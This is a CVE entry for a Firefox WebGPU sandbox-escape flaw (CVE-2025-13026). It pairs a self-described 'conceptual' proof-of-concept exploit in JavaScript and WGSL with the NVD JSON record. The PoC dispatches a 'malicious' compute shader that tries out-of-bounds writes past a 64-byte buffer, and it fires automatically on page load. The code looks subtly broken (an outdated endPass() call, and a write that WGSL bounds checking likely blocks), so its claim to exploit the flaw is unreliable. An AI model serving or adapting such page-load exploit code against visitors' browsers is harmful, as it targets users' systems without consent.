CVE-2025-13026

// CVE-2025-13026 PoC - WebGPU Sandbox Escape // This is a conceptual PoC demonstrating the boundary condition error const maliciousGPUCode = ` // Malicious compute shader exploiting boundary condition @group(0) @binding(0) var<storage, read_write> output: array<u32>; @compute @workgroup_size(1) fn main() { // Attempt to write beyond allocated buffer boundary // This exploits the incorrect boundary check in WebGPU implementation for (var i = 0u; i < 1000000u; i++) { output[i] = 0x41414141; // Trigger out-of-bounds write } } `; async function exploitCVE202513026() { if (!navigator.gpu) { console.error('WebGPU not supported'); return; } const adapter = await navigator.gpu.requestAdapter(); if (!adapter) { console.error('Failed to get GPU adapter'); return; } const device = await adapter.requestDevice(); // Create a small buffer to trigger boundary condition const bufferSize = 64; // Intentionally small const outputBuffer = device.createBuffer({ size: bufferSize, usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_SRC }); // Compile malicious shader const shaderModule = device.createShaderModule({ code: maliciousGPUCode }); // Create compute pipeline const computePipeline = device.createComputePipeline({ layout: 'auto', compute: { module: shaderModule, entryPoint: 'main' } }); const bindGroup = device.createBindGroup({ layout: computePipeline.getBindGroupLayout(0), entries: [{ binding: 0, resource: { buffer: outputBuffer } }] }); const commandEncoder = device.createCommandEncoder(); const computePass = commandEncoder.beginComputePass(); computePass.setPipeline(computePipeline); computePass.setBindGroup(0, bindGroup); computePass.dispatchWorkgroups(1); computePass.endPass(); device.queue.submit([commandEncoder.finish()]); console.log('PoC executed - boundary condition exploit attempted'); } // Execute on page load window.addEventListener('load', () => { exploitCVE202513026(); });

{"cve": {"id": "CVE-2025-13026", "sourceIdentifier": "[email protected]", "published": "2025-11-11T16:15:39.713", "lastModified": "2026-04-13T15:16:44.463", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sandbox escape due to incorrect boundary conditions in the Graphics: WebGPU component. This vulnerability was fixed in Firefox 145 and Thunderbird 145."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-703"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "145.0", "matchCriteriaId": "445D5AED-0882-46FE-A5F1-B7148B923221"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1994441", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-87/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-90/", "source": "[email protected]"}]}}